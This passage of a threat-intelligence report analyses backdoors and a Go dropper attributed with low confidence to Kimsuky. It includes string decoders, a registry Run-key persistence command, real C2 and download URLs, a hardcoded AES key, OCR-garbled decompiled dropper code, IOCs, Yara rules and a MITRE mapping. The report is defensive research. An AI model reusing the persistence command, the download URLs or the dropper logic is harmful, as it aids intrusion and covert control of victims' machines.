The features of this backdoor are:

- Get system information (OS information & Computer name)
- List drives and directories
- Navigate the file system (change directory)
- Delete files
- Get process list
- Execute commands
- Drop files

Encrypted string decoder:

```
import sys
table =
"zcgXISWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt"
s=""
for x in sys.argv[1]:
    i = table.find(x)
    s=s+table[(i-22) &0x3f]
print(s)
```

One interesting note is that the command ID for this backdoor starts at 9, which differs from the primary backdoor, where the commands started with 100.

It's unclear if there is a significance, however, we posit that at least two different developers are working on these slightly akin backdoors. This is consistent with our observations: there are a lot of changes, from the encryption methods to the code obfuscation techniques. The backdoor payloads are consistently different each time. It's evident that the developer is (or developers are) highly skilled, and the code, methods and attack campaigns are carefully planned out before they are unleashed on the intended targets. File navigation Backdoor (DLL 64bit)

MD5: e86ed825887efef54feff4dec45855f9

SHA-1: 596880007009d7bc21bed99022b02fd22b7d6107

SHA-256:

c94a5817 fcd6a4ea93 d47 d70 b9 f2 b175923 a8 b325234 a77 f127 c945 ae8649874

Compile timestamp: 2024-03-31 (March 31st 2024)

Similar to the File Navigation backdoor executable, this is the x64 DLL version. The obfuscation is similar to the executable version with the exception of having 4-byte keys.

Command	Description
njXbxuRQyujZeUAGG	Create a "System32" directory and copy the file into the
ҮаН	folder with the filename smss.exe and setup persistence
	through the registry's run.
	command:
	reg add hkcu\software\microsoft\windows\currentversion\run
	/d "\"%s\" %s" /t REG_SZ /v "%s" /f
iFfmHUtawXNNxTHEi	Run the backdoor to communicate with the bot controller.
AAN	The IDs of the bot are mode7, page7, and DATA7 as these
	data are submitted to the C2 via POST command.

Encrypted string decoder

```
import sys
table =
"zcgXISWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFtb
YdzhSyLg.yLg"
s=""
cipher = sys.argv[1]
key_table = [0,0,0,0, 0, 0, 0, 0]
key_table[0]=table.find(cipher[0])
key_table[2]=table.find(cipher[1])
key_table[4]=table.find(cipher[2])
key_table[6]=table.find(cipher[3])
ii=0
for x in cipher[4:]:
  i = table.find(x)
  if i==-1:
     s=s+x
  else:
    iii = (i-key_table[2*(ii&0x3)]) &0x3f
     s=s+table[iii]
  ii=ii+1
print(s)
```

Golang backdoor Dropper

From hunting the backdoor, we discovered another dropper using the similar job description theme as the previous dropper. However, this dropper is developed using the Golang programming language.

The dropper has the following properties:

Filename: Automation Manager JD(LM HR II).scr

MD5: aa8936431f7bc0fabb0b9efb6ea153f9

SHA-1: e9f134a3f4bc5bec1f71906c37f325808b9da2d9

SHA-256:

000e2926f6e094d01c64ff972e958cd38590299e9128a766868088aa273599c7

Next stage download:

http://download-attachments[.]mooo[.]com/down.php?ctx=bin&id=danielinternal

Compile timestamp: 2022-08-23 (August 23rd 2022), likely timestomped

Once the Go dropper is executed, it will download an encrypted payload from the next stage, which is hosted on the attachments[.]mooo[.]com" domain, a free DNS service provided by afraid[.]org.

We can observe a few interesting items concerning this Go dropper:

- "CTX" value as also observed in the backdoors previously described.
- Limited capabilities such as self deletion, running a command, downloading files and encrypting/decrypting. It embeds two other publicly available Go projects to perform these capabilities;

- The dropper has been signed with the same "Nexaweb" digital certificate as one of the backdoors described previously. This aligns with our supposition earlier that the threat group wanted to ensure delivery of the payload – using a signed file may be ignored by some detection mechanisms;
- The Go path is: *niki/auxiliary/engine-binder*: the username *niki* was also observed in one of the other backdoors as part of the debug path.

Once the payload is downloaded, the Go dropper will decrypt the payload using the AES algorithm and with the following decryption key: **!qeWR3es@#fdsawfef** Figure 20 displays the decompiled code of the Go dropper.

151	time Sleen(0vEC230C00 (int)"start \"\" \" v26 navload enc 0 v27 v28 v29 v30 v54).
• 152	
153	<pre>(int)"http://download-attachments.mooo.com/down.php?ctx=bin&id=danielinternal ",</pre>
154	63,
155	v31,
156	payload_enc,
157	0,
158	V32,
159	V33,
161	V34,
162	
163	v53)·
• 164	if (Inavload enc)
165	{
• 166	v83.cap = v36:
• 167	v78 = v37;
• 168	<pre>encryption_key = (_18_uint8 *)runtime_newobject(&RTYPE18_uint8);</pre>
• 169	<pre>qmemcpy(encryption_key, "!qeWR3es@#fdsawfef", sizeof(_18_uint8));</pre>
• 170	encryption_key_ptr = encryption_key;
• 171	<pre>v43 = github_com_AkhilSharma90_go_file_encrypt_filecrypt_DecryptBuf(</pre>
172	v83.cap,
1/3	63,
1/4	V 8, (DHADD) approximation key
175	18
177	
178	v40.
179	v41.
180	v42,
181	v56,
182	v64,
183	v69,
184	v73
185	v76);
• 186	if (!encryption_key_ptr)
100	
	v_{03} , ten = v_{43}, v_{48} = or OpenFile((int)"(:\)ProgramData)\decktop ini" 26 66 420 19 444 445 446 44
 109 100 	$v_{40} = 0_{-}v_{10}$ and $v_{10} = 0_{-}v_{10}$
191	}
192	}

Figure 20 – Decryption algorithm with hardcoded AES key.

The dropper will in addition execute a decoy file, similar as before with a position description for Lockheed Martin (a different job title however). The decoy is shown in Figure 21.

4	POSITION DESCRIPTION Human Resources	
This position description is used as a ba record of the duties assigned to this pos work, however, it is understood that dut description.	isis for determining the position classification and is maintained as an official ition. This description is intended to be an accurate reflection of the assigned ies may be removed, modified or assigned, and may not be included on this	
Job title:	Automation Engineer	
Reporting to:	HR Division II	
Salary:	80,000 ~ 100,000 \$ per year	
Hours:	5 ~ 7 hours	
Location:	Berlin, Germany	
Purpose of the pos	tion	

We are looking for an experienced Automation Engineer to join our team! As an Automation Engineer, you will be responsible for designing and testing automated machinery and processes in order to complete exact tasks.

Figure 21 – Decoy PDF, highly likely an actual job description

The decrypted payload will be dropped to C:\ProgramData and has the following

properties:

Filename: desktop.ini

MD5: a8ed2e894dd32e31dc7a19b5c27686c5

SHA1: 5d40a3422b4d5fa9c77eb5c6fd7605c26fa7f0e7

SHA256:

162b24784dd0dd19c2ce08961a9b836b5ff645d1d02da9c18616a0d348467e61

Compiled Time: 2024-05-25 (25th May 2024)

C2: http://playboys[.]chickenkiller[.]com/index.php

Conclusion

With low confidence we attribute this threat campaign to a North Korean nexus espionage group, specifically, the Kimsuky threat group (also known as APT43 or Emerald Sleet). There's a few indicators that point to Kimsuky being behind the campaign and new backdoors:

- Job description lures the last few months these have only increased as subject of decoys and campaigns as described in multiple public reports;
- The PDF was created on a Korean-language system;
- Targeting of Military, Defense & Aerospace sector, a "juicy" and common target of the threat group;
- While the backdoors appear new, there are some similarities with previously
 observed malware created by the Kimsuky threat group, for example, the familiar
 command string format "%s%sc %s >%s 2>&1".

The backdoors we've analysed in the Niki threat campaign are simple yet elegant and have proven to be powerful tools in the threat group's arsenal: packing a punch in capabilities, yet stealthy enough to fly under the radar.

Furthermore, we assess, again with low confidence, there are multiple developers handling the code. This is based on the code style (some observed before in other Kimsuky attack campaigns & malware) and encryption methods used: they are quite different and have a distinct touch of an advanced malware developer. It's possible, but entirely speculative, that some of the backdoor creation capabilities have been outsourced to developers outside of North Korea.

A trend to watch out for is North Korean nexus groups developing other Golang-based malware, and potentially distinct toolsets or implants in other programming languages that have risen in popularity the last few years (e.g. Nim).

The final section of this report, Detection, provides detection efforts such as Indicators of Compromise, Yara rules and suggestions for SIEM technologies such as Sentinel, tooling such as Sigma and so on. Finally, a MITRE mapping is provided. We hope this report has proven useful to you and we welcome any feedback.

Detection

Indicators of Compromise (IOCs)

Indicator	Туре	Purpose
vjVr53p.yOOL	File name	Payload (encoded)
zT1fbtn.oN5L	File name	Payload
CacheDB	Service	Payload
	name	persistence
4f463f3fe541288d16ffd89f81d83d7e9e7e5a5e476850e	SHA256	RAR archive
ac48c782a61a26bc0	Hash	containing JSE
		dropper
24a42a912c6ad98ab3910cb1e031edbdf9ed6f452371d5	SHA256	JSE Dropper
696006c9cf24319147	Hash	
3314b6ea393e180c20db52448ab6980343bc3ed623f7af	SHA256	Payload
91df60189fec637744	Hash	
a637d9836285254831c80fdd407f4dae440ad382a23ca1	SHA256	Payload
2abae2d721cffe913f	Hash	
faca8b6f046dad8f0e27a75fa2dc5477d3ccf44adced644	SHA256	Dropper (ZIP)
81ef1b0dd968b4b0e	Hash	
cca1705d7a85fe45dce9faec5790d498427b3fa8e546d7	SHA256	Dropper
d7b57f18a925fdfa5d	Hash	

5b3cc9cced1ef0cb0bba5549cc2ac09c49ae10554d2409	SHA256	Payload
ea16bc5e118d278c15	Hash	
000e2926f6e094d01c64ff972e958cd38590299e9128a7	SHA256	Dropper (Golang)
66868088aa273599c7	Hash	
162b24784dd0dd19c2ce08961a9b836b5ff645d1d02da9	SHA256	Payload
c18616a0d348467e61	Hash	
http://download[.]uberlingen[.]com/index.php	URI	C2 server
http://en[.]uberlingen[.]com/index.php	URI	C2 server
http://imagedownload[.]ignorelist[.]com/index.php	URI	C2 server
http://download-attachments[.]mooo[.]com/down.php?ct	URI	Dropper download
x=bin&id=danielinternal		server
http://playboys[.]chickenkiller[.]com/index.php	URI	C2 server
Mozilla / 5.0 (Windows NT 10.0; Win64; x64)	User Agent	Payload UA
AppleWebKit / 537.36 (KHTML, like Gecko) Chrome /		
109.0.3729.169 Safari / 537.36		
67[.]217[.]62[.]219	IP Address	Resolved IP from
		C2 servers

Note the following hashes were also discovered, however, these are likely artefacts from other researchers:

- 62840447d4d17f14047d7aa0b0916ed94114741846fbac3743e0b393a0273a9c
- c94a5817fcd6a4ea93d47d70b9f2b175923a8b325234a77f127c945ae8649874

The C2 servers described here appear to be fairly unique. We recommend to monitor and pivot on these further in order to reveal potential new campaigns.

Yara Rules

We have named the backdoors respectively "NikiHTTP" and "NikiGo" due to the debug

paths. We've provided 3 Yara rules.

```
rule NikiHTTP
{
meta:
      description = "Identifies NikiHTTP, a versatile backdoor by (likely) Kimsuky."
      author = "@bartblaze, @nsguar3"
      date = "2024-06"
      tlp = "White"
      hash a =
"3314b6ea393e180c20db52448ab6980343bc3ed623f7af91df60189fec637744"
      hash b =
"c94a5817fcd6a4ea93d47d70b9f2b175923a8b325234a77f127c945ae8649874"
strings:
      $cmd = {4? 8d 0d be 2f 03 00 4? 85 c0 4? 8d 15 8c 2f 03 00}
      $str 1 = "%s%sc %s >%s 2>&1" ascii wide
      $str 2 = "%s%sc %s 2>%s" ascii wide
      $str 3 = "%s:info" ascii wide
      //D:\02.data\03.atk-tools\engine\niki\httpSpy\..\bin\httpSpy.pdb
      $pdb full = "\\02.data\\03.atk-tools\\" ascii wide
      $pdb httpspy = "\\bin\\httpSpy.pdb" ascii wide
      $code = { 0f 57 c0 4? 89 7? ?? 33 c0 c7 4? ?? 68 00 00 00 0f 11 4? ?? c7 4?
?? 01 00 00 00 66 4? 89 7? 00 0f 11 4? ?? 4? 89 4? ?? 0f 11 4? ?? c7 44 ?? ?? 53 71
80 60 0f 11 4? ?? c7 44 ?? ?? 71 79 7c 5c 0f 11 4? ?? c7 44 ?? ?? 6d 80 74 63 0f 11
4? ?? 88 44 ?? ?? 0f 11 4? ?? 0f 1f 44 00 00 }
condition:
      uint16(0) == 0x5A4D and (
      $cmd or (2 of ($str *)) or
      any of ($pdb_*) or $code
      )
}
```

```
rule NikiGo
{
meta:
      description = "Identifies NikiGo, a Go dropper by (likely) Kimsuky."
      author = "@bartblaze, @nsquar3"
      date = "2024-06"
      tlp = "White"
      hash =
"000e2926f6e094d01c64ff972e958cd38590299e9128a766868088aa273599c7"
strings:
      $go = "Go build ID:"
      $func1 = "main.ParseCommandLine" ascii wide fullword
      $func2 = "main.RunCmd" ascii wide fullword
      $func3 = "main.HttpGet" ascii wide fullword
      $func4 = "main.SelfDel" ascii wide fullword
      $func5 = "main.RandomBytes" ascii wide fullword
      $pdb src = "C:/Users/niki/go/src/niki/auxiliary/engine-binder/main.go" ascii
wide
      $pdb path = "/Users/niki/go/src/niki/auxiliary/engine-binder/" ascii wide
condition:
      uint16(0) == 0x5A4D and \$go and (
      all of ($func*) or
      any of ($pdb*)
      )
}
```

```
import "pe"
rule NikiCert
{
meta:
      description = "Identifies Nexaweb digital certificate used in (likely) Kimsuky
campaign."
      author = "@bartblaze, @nsquar3"
      date = "2024-06"
      tlp = "White"
      hash a =
"cca1705d7a85fe45dce9faec5790d498427b3fa8e546d7d7b57f18a925fdfa5d"
      hash b =
"000e2926f6e094d01c64ff972e958cd38590299e9128a766868088aa273599c7"
condition:
      uint16(0) == 0x5A4D and
  for any i in (0.. pe.number of signatures) : (
             pe.signatures[i].serial ==
"03:15:e1:37:a6:e2:d6:58:f0:7a:f4:54:c6:3a:0a:f2"
  )
}
```

You can find a copy of the Yara rules in the repository here:

https://github.com/bartblaze/Yara-rules

Detection Opportunities

There are several detection opportunities to develop other rules or queries that can be leveraged in the detection system or technology of your choice. A few pointers:

- A Windows service named "CacheDB" that does *not* have Program Files, System32 or other known good locations in its folder path;
- An executable file with a double file extension such as .pdf.scr;
- An *.ini* file in C:\ProgramData.

It's important to always establish a baseline and finetune the rules further before implementing this in operational detection mechanisms.

MITRE ATT&CK

Stage	Tactic	Technique ID	Technique Name
Initial Access	T1566	Phishing	Spearphishing Attachment
Execution	T1204	User Execution	Malicious File
Persistence	T1547	Registry Run Keys/Startup Folder	Persistence via Registry
Defense Evasion	T1027	Obfuscated Files or Information	Encoding/Encryption
Command and Control	T1071	Application Layer Protocol	Use of C2 server
Discovery	T1082	System Information Discovery	Reconnaissance
Collection	T1113	Screen Capture	Collect Data
Exfiltration	T1041	Exfiltration Over C2 Channel	Data Exfiltration